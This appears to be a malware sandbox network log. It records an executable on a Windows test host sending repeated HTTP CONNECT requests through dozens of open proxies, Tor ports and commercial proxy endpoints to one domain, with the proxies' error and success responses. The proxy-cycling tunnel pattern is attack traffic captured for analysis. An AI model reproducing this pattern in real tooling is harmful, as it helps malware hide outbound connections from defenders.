Mar 11, 2024 15:21:04.231427908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.9	51497	218.6.120.111	7777	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.865519047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.465823889 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:12.394022942 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.9	51751	104.16.108.42	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.865817070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.020041943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.9	51755	104.27.12.22	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.865963936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.020411968 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.9	51525	202.139.198.15	3050	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.866120100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:55.895334005 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.9	51639	3.21.101.158	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.866657972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.083489895 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.9	51785	104.129.199.34	8800	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.866859913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.027522087 CET	125	IN	HTTP/1.1 407 Unauthorized Server: Zscaler/6.2 Cache-control: no-cache Content-Length: 0 Proxy-Authenticate: Negotiate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.9	51490	35.154.71.72	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.867371082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.265901089 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.9	51801	104.20.75.132	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.867372036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.021624088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.9	51636	23.19.244.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.868031025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.9	51083	185.189.199.77	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.868179083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.781017065 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.9	51566	15.236.106.236	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.868788958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.166492939 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.9	51584	93.190.142.57	41890	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.870913029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.164618015 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.9	51457	89.218.8.152	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.871257067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.9	51650	34.83.143.6	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.871352911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.356353998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.934967041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.484368086 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.9	51561	119.196.168.183	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.871707916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.9	51741	104.19.225.70	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.873281002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.028178930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.9	51808	104.21.80.83	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.873465061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.027642012 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.9	51707	162.120.71.11	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.874526024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.414369106 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.9	51556	31.148.207.153	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.875483990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.9	51570	146.59.18.246	30673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.876080036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.9	51872	104.16.109.143	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.876368046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.030939102 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.9	51874	104.20.103.68	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.876687050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.031019926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.9	51786	157.185.160.74	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.876910925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.9	51108	138.36.150.16	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.877528906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.9	51881	104.16.106.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.877533913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
